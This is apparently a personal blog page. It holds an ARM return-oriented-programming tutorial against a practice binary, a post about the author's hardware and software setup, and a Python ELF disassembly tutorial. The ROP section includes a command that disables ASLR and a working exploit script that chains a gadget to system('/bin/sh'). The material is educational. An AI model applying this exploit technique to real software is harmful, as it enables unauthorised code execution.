Before we start anything, you’re expected to know the basics of ARM assembly to follow along. I highly recommend Azeria’s series on ARM Assembly Basics. Once you’re comfortable with it, proceed with the next bit—environment setup.

Setup

Since we’re working with the ARM architecture, there are two options to go forth with:

Emulate—head over to qemu.org/download and install QEMU. And then download and extract the ARMv6 Debian Stretch image from one of the links here. The scripts found inside should be self-explanatory.
Use actual ARM hardware, like an RPi.

For debugging and disassembling, we’ll be using plain old gdb, but you may use radare2, IDA or anything else, really. All of which can be trivially installed.

And for the sake of simplicity, disable ASLR:

$ echo 0 > /proc/sys/kernel/randomize_va_space

Finally, the binary we’ll be using in this exercise is Billy Ellis’ roplevel2.

Compile it:

$ gcc roplevel2.c -o rop2

With that out of the way, here’s a quick run down of what ROP actually is.

A primer on ROP

ROP or Return Oriented Programming is a modern exploitation technique that’s used to bypass protections like the NX bit (no-execute bit) and code sigining. In essence, no code in the binary is actually modified and the entire exploit is crafted out of pre-existing artifacts within the binary, known as gadgets.

A gadget is essentially a small sequence of code (instructions), ending with a ret, or a return instruction. In our case, since we’re dealing with ARM code, there is no ret instruction but rather a pop {pc} or a bx lr. These gadgets are chained together by jumping (returning) from one onto the other to form what’s called as a ropchain. At the end of a ropchain, there’s generally a call to system(), to acheive code execution.

In practice, the process of executing a ropchain is something like this:

confirm the existence of a stack-based buffer overflow
identify the offset at which the instruction pointer gets overwritten
locate the addresses of the gadgets you wish to use
craft your input keeping in mind the stack’s layout, and chain the addresses of your gadgets

LiveOverflow has a beautiful video where he explains ROP using “weird machines”. Check it out, it might be just what you needed for that “aha!” moment :)

Still don’t get it? Don’t fret, we’ll look at actual exploit code in a bit and hopefully that should put things into perspective.

Exploring our binary

Start by running it, and entering any arbitrary string. On entering a fairly large string, say, “A” × 20, we see a segmentation fault occur.

Now, open it up in gdb and look at the functions inside it.

There are three functions that are of importance here, main, winner and gadget. Disassembling the main function:

We see a buffer of 16 bytes being created (sub sp, sp, #16), and some calls to puts()/printf() and scanf(). Looks like winner and gadget are never actually called.

Disassembling the gadget function:

This is fairly simple, the stack is being initialized by pushing {r11}, which is also the frame pointer (fp). What’s interesting is the pop {r0, pc} instruction in the middle. This is a gadget.

We can use this to control what goes into r0 and pc. Unlike in x86 where arguments to functions are passed on the stack, in ARM the registers r0 to r3 are used for this. So this gadget effectively allows us to pass arguments to functions using r0, and subsequently jumping to them by passing its address in pc. Neat.

Moving on to the disassembly of the winner function:

Here, we see a calls to puts(), system() and finally, exit(). So our end goal here is to, quite obviously, execute code via the system() function.

Now that we have an overview of what’s in the binary, let’s formulate a method of exploitation by messing around with inputs.

Messing around with inputs :^)

Back to gdb, hit r to run and pass in a patterned input, like in the screenshot.

We hit a segfault because of invalid memory at address 0x46464646. Notice the pc has been overwritten with our input. So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.

Since we know the offset at which the pc gets overwritten, we can now control program execution flow. Let’s try jumping to the winner function.

Disassemble winner again using disas winner and note down the offset of the second instruction—add r11, sp, #4. For this, we’ll use Python to print our input string replacing FFFF with the address of winner. Note the endianness.

$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2

The reason we don’t jump to the first instruction is because we want to control the stack ourselves. If we allow push {rll, lr} (first instruction) to occur, the program will pop those out after winner is done executing and we will no longer control where it jumps to.

So that didn’t do much, just prints out a string “Nothing much here…”. But it does however, contain system(). Which somehow needs to be populated with an argument to do what we want (run a command, execute a shell, etc.).

To do that, we’ll follow a multi-step process:

Jump to the address of gadget, again the 2nd instruction. This will pop r0 and pc.
Push our command to be executed, say “/bin/sh” onto the stack. This will go into r0.
Then, push the address of system(). And this will go into pc.

The pseudo-code is something like this:

string = AAAABBBBCCCCDDDDEEEE
gadget = # addr of gadget
binsh  = # addr of /bin/sh
system = # addr of system()

print(string + gadget + binsh + system)

Clean and mean.

The exploit

To write the exploit, we’ll use Python and the absolute godsend of a library—struct. It allows us to pack the bytes of addresses to the endianness of our choice. It probably does a lot more, but who cares.

Let’s start by fetching the address of /bin/sh. In gdb, set a breakpoint at main, hit r to run, and search the entire address space for the string “/bin/sh”:

(gdb) find &system, +9999999, "/bin/sh"

One hit at 0xb6f85588. The addresses of gadget and system() can be found from the disassmblies from earlier. Here’s the final exploit code:

import struct

binsh = struct.pack("I", 0xb6f85588)
string = "AAAABBBBCCCCDDDDEEEE"
gadget = struct.pack("I", 0x00010550)
system = struct.pack("I", 0x00010538)

print(string + gadget + binsh + system)

Honestly, not too far off from our pseudo-code :)

Let’s see it in action:

Notice that it doesn’t work the first time, and this is because /bin/sh terminates when the pipe closes, since there’s no input coming in from STDIN. To get around this, we use cat(1) which allows us to relay input through it to the shell. Nifty trick.

Conclusion

This was a fairly basic challenge, with everything laid out conveniently. Actual ropchaining is a little more involved, with a lot more gadgets to be chained to acheive code execution.

Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.

My setup

2019-05-13T00:00:00Z

My daily drivers—hardware, software and workflow

Update: I now maintain a uses page. This post is out of date.

Hardware

The only computer I have with me is my HP Envy 13 (2018) (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u, 8 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.

For my phone, I use a OnePlus 6T, running stock OxygenOS. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted. I’m also a proud owner of a Nexus 5, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.

My watch is a Samsung Gear S3 Frontier. Tizen is definitely better than Android Wear.

My keyboard, although not with me in college, is a very old Dell SK-8110. For the little bit of gaming that I do, I use a HP m150 gaming mouse. It’s the perfect size (and color).

For my music, I use the Bose SoundLink II. Great pair of headphones, although the ear cups need replacing.

And the software

~~My distro of choice for the past ~1 year has been elementary OS. I used to be an Arch Linux elitist, complete with an esoteric window manager, all riced. I now use whatever JustWorks™.~~

Update: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install, running i3 as my window manager. If you want, you can dig through my configs at my dotfiles repo.

Here’s a (riced) screenshot of my desktop.

Most of my work is done in either the browser, or the terminal. My shell is pure zsh, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need a framework. It’s useless bloat. The prompt itself is generated using a framework I built in Nim—nicy. My primary text editor is nvim. Again, all configs in my dotfiles repo linked above. I manage all my passwords using pass(1), and I use rofi-pass to access them via rofi.

Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace clean and a single command to drop into a Kali shell.

I use a DigitalOcean droplet (BLR1) as a public filehost, found at cdn.icyphox.sh. The UI is the wonderful serve, by ZEIT. The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes.

I plan on converting my desktop back at home into a homeserver setup. pSoon™.

Python for Reverse Engineering

2019-02-08T00:00:00Z

Building your own disassembly tooling for — that’s right — fun and profit

While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.

Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.

Setup

As the title suggests, you’re going to need a Python 3 interpreter before anything else. Once you’ve confirmed beyond reasonable doubt that you do, in fact, have a Python 3 interpreter installed on your system, run

$ pip install capstone pyelftools

where capstone is the disassembly engine we’ll be scripting with and pyelftools to help parse ELF files.

With that out of the way, let’s start with an example of a basic reversing challenge.

/* chall.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
   char *pw = malloc(9);
   pw[0] = 'a';
   for(int i = 1; i <= 8; i++){
       pw[i] = pw[i - 1] + 1;
   }
   pw[9] = '\0';
   char *in = malloc(10);
   printf("password: ");
   fgets(in, 10, stdin);        // 'abcdefghi'
   if(strcmp(in, pw) == 0) {
       printf("haha yes!\n");
   }
   else {
       printf("nah dude\n");
   }
}

Compile it with GCC/Clang:

$ gcc chall.c -o chall.elf

Scripting

For starters, let’s look at the different sections present in the binary.

# sections.py

from elftools.elf.elffile import ELFFile

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter_sections():
        print(hex(section['sh_addr']), section.name)

This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us

› python sections.py
0x238 .interp
0x254 .note.ABI-tag
0x274 .note.gnu.build-id
0x298 .gnu.hash
0x2c0 .dynsym
0x3e0 .dynstr
0x484 .gnu.version
0x4a0 .gnu.version_r
0x4c0 .rela.dyn
0x598 .rela.plt
0x610 .init
0x630 .plt
0x690 .plt.got
0x6a0 .text
0x8f4 .fini
0x900 .rodata
0x924 .eh_frame_hdr
0x960 .eh_frame
0x200d98 .init_array
0x200da0 .fini_array
0x200da8 .dynamic
0x200f98 .got
0x201000 .data
0x201010 .bss
0x0 .comment
0x0 .symtab
0x0 .strtab
0x0 .shstrtab

Most of these aren’t relevant to us, but a few sections here are to be noted. The .text section contains the instructions (opcodes) that we’re after. The .data section should have strings and constants initialized at compile time. Finally, the .plt which is the Procedure Linkage Table and the .got, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.

Since we know that the .text section has the opcodes, let’s disassemble the binary starting at that address.

# disas1.py

from elftools.elf.elffile import ELFFile
from capstone import *

with open('./bin.elf', 'rb') as f:
    elf = ELFFile(f)
    code = elf.get_section_by_name('.text')
    ops = code.data()
    addr = code['sh_addr']
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    for i in md.disasm(ops, addr):        
        print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}')

The code is fairly straightforward (I think). We should be seeing this, on running

› python disas1.py | less      
0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
0x6bd: lea rdi, [rip + 0xe6]
**0x6c4: call qword ptr [rip + 0x200916]**
0x6ca: hlt
... snip ...

The line in bold is fairly interesting to us. The address at [rip + 0x200916] is equivalent to [0x6ca + 0x200916], which in turn evaluates to 0x200fe0. The first call being made to a function at 0x200fe0? What could this function be?

For this, we will have to look at relocations. Quoting linuxbase.org

Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.

To try and find these relocation entries, we write a third script.

# relocations.py

import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter_sections():
        if isinstance(section, RelocationSection):
            print(f'{section.name}:')
            symbol_table = e.get_section(section['sh_link'])
            for relocation in section.iter_relocations():
                symbol = symbol_table.get_symbol(relocation['r_info_sym'])
                addr = hex(relocation['r_offset'])
                print(f'{symbol.name} {addr}')

Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type RelocationSection. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us

› python relocations.py
.rela.dyn:
 0x200d98
 0x200da0
 0x201008
_ITM_deregisterTMCloneTable 0x200fd8
**__libc_start_main 0x200fe0**
__gmon_start__ 0x200fe8
_ITM_registerTMCloneTable 0x200ff0
__cxa_finalize 0x200ff8
stdin 0x201010
.rela.plt:
puts 0x200fb0
printf 0x200fb8
fgets 0x200fc0
strcmp 0x200fc8
malloc 0x200fd0

Remember the function call at 0x200fe0 from earlier? Yep, so that was a call to the well known __libc_start_main. Again, according to linuxbase.org

The __libc_start_main() function shall perform any necessary initialization of the execution environment, call the main function with appropriate arguments, and handle the return from main(). If the main() function returns, the return value shall be passed to the exit() function.

And its definition is like so

int __libc_start_main(int *(main) (int, char * *, char * *), 
int argc, char * * ubp_av, 
void (*init) (void), 
void (*fini) (void), 
void (*rtld_fini) (void), 
void (* stack_end));

Looking back at our disassembly

0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
**0x6bd: lea rdi, [rip + 0xe6]**
0x6c4: call qword ptr [rip + 0x200916]
0x6ca: hlt
... snip ...

but this time, at the lea or Load Effective Address instruction, which loads some address [rip + 0xe6] into the rdi register. [rip + 0xe6] evaluates to 0x7aa which happens to be the address of our main() function! How do I know that? Because __libc_start_main(), after doing whatever it does, eventually jumps to the function at rdi, which is generally the main() function. It looks something like this

To see the disassembly of main, seek to 0x7aa in the output of the script we’d written earlier (disas1.py).

From what we discovered earlier, each call instruction points to some function which we can see from the relocation entries. So following each call into their relocations gives us this

printf 0x650
fgets  0x660
strcmp 0x670
malloc 0x680

Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.

0x7b2: mov edi, 0xa  ; 10
0x7b7: call 0x680    ; malloc

The loop to populate the *pw string

0x7d0:  mov     eax, dword ptr [rbp - 0x14]
0x7d3:  cdqe    
0x7d5:  lea     rdx, [rax - 1]
0x7d9:  mov     rax, qword ptr [rbp - 0x10]
0x7dd:  add     rax, rdx
0x7e0:  movzx   eax, byte ptr [rax]
0x7e3:  lea     ecx, [rax + 1]
0x7e6:  mov     eax, dword ptr [rbp - 0x14]
0x7e9:  movsxd  rdx, eax
0x7ec:  mov     rax, qword ptr [rbp - 0x10]
0x7f0:  add     rax, rdx
0x7f3:  mov     edx, ecx
0x7f5:  mov     byte ptr [rax], dl
0x7f7:  add     dword ptr [rbp - 0x14], 1
0x7fb:  cmp     dword ptr [rbp - 0x14], 8
0x7ff:  jle     0x7d0

And this looks like our strcmp()

0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
0x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
0x84b:  mov     rsi, rdx             
0x84e:  mov     rdi, rax
0x851:  call    0x670                       ; strcmp  
0x856:  test    eax, eax                    ; is = 0? 
0x858:  jne     0x868                       ; no? jump to 0x868
0x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
0x861:  call    0x640                       ; puts
0x866:  jmp     0x874
0x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
0x86f:  call    0x640                       ; puts

I’m not sure why it uses puts here? I might be missing something; perhaps printf calls puts. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.

Update: It’s because of compiler optimization. A printf() (in this case) is seen as a bit overkill, and hence gets simplified to a puts().

Conclusion

Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.

All the code used in this post is here: https://github.com/icyphox/asdf/tree/master/reversing-elf

Ciao for now, and I’ll see ya in #2 of this series—PE binaries. Whenever that is.

vore: a new rss feed reader

2023-03-20T00:00:00.000Z

write posix shell

2023-03-10T00:00:00.000Z

.io domains considered harmful

2022-11-14T00:00:00.000Z

drones run linux: the free software movement isn't enough

2022-09-16T00:00:00.000Z

the constantly collapsing horizon

2022-07-31T00:00:00.000Z

my website is one binary

2022-04-06T00:00:00.000Z

there is beauty in the minimalism of email

2022-03-23T00:00:00.000Z

storing passwords with age

2021-04-20T00:00:00.000Z

building a fixed gear bicycle

2020-12-20T00:00:00.000Z

something is different

2020-04-20T00:00:00.000Z